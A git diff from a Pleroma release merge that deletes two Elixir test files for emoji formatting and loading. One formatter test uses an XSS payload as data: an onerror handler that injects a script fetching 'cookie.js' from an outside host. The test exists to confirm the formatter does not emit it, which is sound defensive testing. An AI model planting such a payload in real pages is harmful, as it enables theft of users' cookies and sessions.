aboutsummaryrefslogtreecommitdiff
path: root/test/emoji
diff options
context:
space:
mode:
authorrinpatch <rinpatch@sdf.org>2020-11-12 12:34:48 +0000
committerrinpatch <rinpatch@sdf.org>2020-11-12 12:34:48 +0000
commit1172844ed18d94d84724dc6f11c6e9f72e0ba6ec (patch)
tree7d48a259e08856ab6db0eba255f20c0c19410463 /test/emoji
parenta0f5e8b27edbe2224d9c2c3997ad5b8ea484244b (diff)
parentb4c6b262d6dc12362f0014a864e8aed6c727c39c (diff)
downloadpleroma-2.2.0.tar.gz
Merge branch 'release/2.2.0' into 'stable'v2.2.0
Release/2.2.0 See merge request pleroma/secteam/pleroma!19
Diffstat (limited to 'test/emoji')
-rw-r--r--test/emoji/formatter_test.exs49
-rw-r--r--test/emoji/loader_test.exs83
2 files changed, 0 insertions, 132 deletions
diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs
deleted file mode 100644
index 12af6cd8b..000000000
--- a/test/emoji/formatter_test.exs
+++ /dev/null
@@ -1,49 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Emoji.FormatterTest do
- alias Pleroma.Emoji.Formatter
- use Pleroma.DataCase
-
- describe "emojify" do
- test "it adds cool emoji" do
- text = "I love :firefox:"
-
- expected_result =
- "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"
-
- assert Formatter.emojify(text) == expected_result
- end
-
- test "it does not add XSS emoji" do
- text =
- "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
-
- custom_emoji =
- {
- "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
- "https://placehold.it/1x1"
- }
- |> Pleroma.Emoji.build()
-
- refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
- end
- end
-
- describe "get_emoji_map" do
- test "it returns the emoji used in the text" do
- assert Formatter.get_emoji_map("I love :firefox:") == %{
- "firefox" => "http://localhost:4001/emoji/Firefox.gif"
- }
- end
-
- test "it returns a nice empty result when no emojis are present" do
- assert Formatter.get_emoji_map("I love moominamma") == %{}
- end
-
- test "it doesn't die when text is absent" do
- assert Formatter.get_emoji_map(nil) == %{}
- end
- end
-end
diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs
deleted file mode 100644
index 804039e7e..000000000
--- a/test/emoji/loader_test.exs
+++ /dev/null
@@ -1,83 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Emoji.LoaderTest do
- use ExUnit.Case, async: true
- alias Pleroma.Emoji.Loader
-
- describe "match_extra/2" do
- setup do
- groups = [
- "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
- "wildcard folder": "/emoji/custom/*/file.png",
- "wildcard files": "/emoji/custom/folder/*.png",
- "special file": "/emoji/custom/special.png"
- ]
-
- {:ok, groups: groups}
- end
-
- test "config for list of files", %{groups: groups} do
- group =
- groups
- |> Loader.match_extra("/emoji/custom/first_file.png")
- |> to_string()
-
- assert group == "list of files"
- end
-
- test "config with wildcard folder", %{groups: groups} do
- group =
- groups
- |> Loader.match_extra("/emoji/custom/some_folder/file.png")
- |> to_string()
-
- assert group == "wildcard folder"
- end
-
- test "config with wildcard folder and subfolders", %{groups: groups} do
- group =
- groups
- |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png")
- |> to_string()
-
- assert group == "wildcard folder"
- end
-
- test "config with wildcard files", %{groups: groups} do
- group =
- groups
- |> Loader.match_extra("/emoji/custom/folder/some_file.png")
- |> to_string()
-
- assert group == "wildcard files"
- end
-
- test "config with wildcard files and subfolders", %{groups: groups} do
- group =
- groups
- |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png")
- |> to_string()
-
- assert group == "wildcard files"
- end
-
- test "config for special file", %{groups: groups} do
- group =
- groups
- |> Loader.match_extra("/emoji/custom/special.png")
- |> to_string()
-
- assert group == "special file"
- end
-
- test "no mathing returns nil", %{groups: groups} do
- group =
- groups
- |> Loader.match_extra("/emoji/some_undefined.png")
-
- refute group
- end
- end
-end